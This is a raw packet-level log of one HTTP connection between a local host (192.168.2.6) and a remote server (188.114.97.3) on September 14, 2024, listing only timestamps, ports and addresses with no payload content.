Sep 14, 2024 18:44:13.466741085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466758966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466769934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466775894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466787100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466798067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466808081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466819048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466830969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466841936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466852903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466856003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.466865063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466876984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466887951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466900110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466900110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.466911077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466922045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.466922045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.466949940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467685938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467711926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467721939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467735052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467746019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467757940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467770100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467771053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467781067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467792988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467797995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467804909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467817068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467828989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467835903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467839003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467850924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467858076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467859983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467873096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467879057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467885971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467896938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.467900038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.467947006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.468709946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468723059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468733072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468746901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468758106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468769073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468777895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468789101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468801022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468811989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468822956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468831062 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.468836069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468847990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468859911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468871117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.468872070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468884945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468887091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.468898058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468909025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.468909979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468921900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.468955040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469677925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469691038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469701052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469712973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469723940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469734907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469746113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469748020 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469757080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469769001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469779015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469789982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469799995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469803095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469810963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469819069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469825029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469827890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469841003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469852924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469857931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469862938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469875097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.469877005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.469922066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470627069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470647097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470658064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470669985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470681906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470693111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470702887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470715046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470726013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470732927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470736980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470747948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470758915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470769882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470776081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470781088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470792055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470796108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470804930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470817089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470818043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470829010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470840931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.470850945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470870018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.470896006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471420050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471440077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471452951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471462965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471473932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471479893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471484900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471496105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471507072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471518993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471529961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471537113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471540928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471550941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471563101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471575022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471575975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471597910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471612930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471621990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471621990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471623898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471637011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471648932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471654892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471688032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471692085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471704960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471718073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471726894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471729040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471741915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471754074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471765041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.471769094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.471803904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472227097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472290993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472388983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472403049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472413063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472424984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472435951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472449064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472450972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472465992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472486019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472495079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472508907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472507954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472521067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472533941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.472538948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472558975 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.472594023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473134041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473146915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473157883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473177910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473191023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473200083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473203897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473217010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473222971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473228931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473239899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473252058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473263025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473267078 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473274946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473285913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473292112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473294973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473305941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473318100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473330975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473344088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473345041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473357916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473370075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473381042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473386049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473397970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473402023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473409891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.473429918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.473450899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474570990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474584103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474595070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474606037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474617004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474627972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474638939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474649906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474649906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474667072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474672079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474679947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474690914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474700928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474704027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474716902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474729061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474729061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474740982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474747896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474752903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474765062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474783897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474788904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474800110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474801064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474813938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474819899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474826097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474838972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474859953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474863052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.474894047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.474944115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476062059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476073980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476084948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476098061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476110935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476123095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476129055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476135015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476149082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476165056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476193905 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476223946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476777077 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476795912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476814032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476831913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476845980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476846933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476874113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476891994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476897955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476917982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.476928949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476947069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476964951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.476982117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477001905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477015018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477020025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477037907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477056980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477067947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477076054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477094889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477113962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477122068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477130890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477143049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477149010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477166891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477184057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477188110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477202892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477210045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.477221966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.477253914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478084087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478146076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478190899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478212118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478230000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478247881 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478272915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478276014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478293896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478295088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478322983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478342056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478360891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478362083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478379965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478394032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478398085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478418112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478430033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478435993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478454113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478463888 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478472948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478491068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478508949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478509903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478528976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478543997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478548050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478564978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478576899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478583097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478600979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.478612900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.478651047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481051922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481071949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481091022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481110096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481127977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481129885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481146097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481158972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.481165886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.481198072 CEST	49722	80	192.168.2.6	188.114.97.3
